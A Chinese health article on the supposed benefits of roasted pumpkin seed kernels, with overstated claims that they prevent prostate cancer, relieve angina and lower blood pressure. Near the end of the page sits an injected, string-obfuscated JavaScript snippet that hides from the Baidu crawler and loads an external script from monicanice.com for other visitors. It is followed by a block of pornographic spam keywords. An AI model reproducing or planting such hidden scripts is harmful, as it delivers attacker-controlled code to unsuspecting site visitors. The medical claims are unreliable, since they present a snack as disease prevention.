當前位置:首頁 > 飲食 > 食物營養 > 正文

炒南瓜子仁的好處有哪些

2017-07-11 23:10:10  來源:360常識網   熱度:
導語:南瓜子是很常見的,很多的人都只是把它當做一種吃的零食,其實這是非常常見的一種食物,但是人們對于它的作用卻不了解,都不知道它對人體還

南瓜子是很常見的,很多的人都只是把它當做一種吃的零食,其實這是非常常見的一種食物,但是人們對于它的作用卻不了解,都不知道它對人體還有很多的作用的,它具有非常高的營養成分,要是炒著吃的話,會給人體帶來更大的幫助,現在我們就一起對炒南瓜子仁的好處有哪些進行了解。

南瓜子即白瓜子,生吃、熟吃都可以。它有殺蟲和治療前列腺疾病的食療作用。

功效:南瓜子有很好的殺滅人體內寄生蟲(如蟯蟲、鉤蟲等)的作用。對血吸蟲幼蟲也具有很好的殺滅作用,是血吸蟲病的食療佳品。每天吃上50克左右炒熟的南瓜子,可有效地防治前列腺疾病,這是由于南瓜子富含脂肪酸,可使前列腺保持良好功能。所含的活性成分可消除前列腺炎初期的腫脹,還有預防前列腺癌的作用。含有豐富的泛酸,可以緩解靜止性心絞痛,并有降壓的作用。

適合人群:一般人都可以食用。生活在衛生條件較差地區的人經常食用可以驅蟲。男性適宜經常食用。

適用量:每次約50克。

溫馨提示:胃熱病人宜少食,否則會感到脘腹脹悶。很多炒貨鹽分較多,熱量也高,以炒南瓜子取代,有益健康,可降低血壓,但是也應適量食用。一次不要吃得太多,曾有因食用南瓜子過量而導致頭昏的報道。

烹飪技巧:炒制南瓜子,以香脆為度,不可炒太久。

不僅炒南瓜子仁具有很豐富的營養嗎,要是直接生吃也是可以的,它的這兩種吃法只是在口味和口感上不一樣,營養的價值是沒有很大的差異的。但是炒熟吃會更想,所以受到了更多人的喜歡。要注意炒熟之后的南瓜子仁要注意密封的保存,不然的話香味就都跑掉了。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品黄页在线播放免费| 精品综合久久久久久88小说| 久久久久四虎国产精品| 亚洲啪AV永久无码精品放毛片 | 韩国精品一区视频在线播放| 久久午夜无码鲁丝片直播午夜精品| 国产精品午夜小视频观看| 久久精品国产亚洲av麻豆色欲| 国产精品免费在线播放| 亚洲精品成a人在线观看☆| 久久香蕉精品视频| 8x福利精品第一导航| 亚洲精品永久在线观看| 无码人妻精品一区二区三区久久| 亚洲精品无码你懂的网站| 免费精品国偷自产在线在线| 亚洲AV永久无码精品| 精品亚洲视频在线观看| 国产成人久久精品麻豆二区| 国产精品嫩草视频永久网址| 久久久精品人妻一区亚美研究所| 国产A级毛片久久久精品毛片 | 国产精品不卡在线| 久久久亚洲精品蜜桃臀| 亚洲av午夜福利精品一区人妖 | 国产精品卡一卡二卡三| 国产午夜无码精品免费看动漫| 亚洲精品中文字幕无码A片老| 国产亚洲精品2021自在线| 先锋影音国产精品| 精品国产乱码久久久久久浪潮| 久热爱精品视频线路一| 久久精品国产大片免费观看| 依依成人精品视频在线观看| 精品免费久久久久久久| 亚洲精品无码成人片久久| 青青草原精品国产亚洲av| 免费精品国产自产拍在线观看| 国产精品自在自线视频| 亚洲AV无码精品色午夜果冻不卡| 伊人久久大香线蕉精品不卡|